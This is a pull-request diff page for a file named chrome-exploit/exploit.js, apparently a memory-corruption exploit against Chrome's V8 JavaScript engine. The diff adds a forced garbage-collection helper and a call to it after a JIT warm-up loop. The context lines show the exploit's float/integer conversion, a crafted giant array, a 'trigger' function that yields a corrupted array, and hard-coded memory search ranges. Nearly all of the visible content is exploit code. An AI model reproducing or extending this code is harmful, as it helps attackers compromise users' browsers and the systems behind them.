Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions chrome-exploit/exploit.js
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,12 @@ function itof(val) {
return f64_buf[0];
}

function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
Expand Down Expand Up @@ -48,6 +54,8 @@ function trigger(array) {
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
gc();

corrupted_array = trigger(giant_array)[1];

var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]];
Expand Down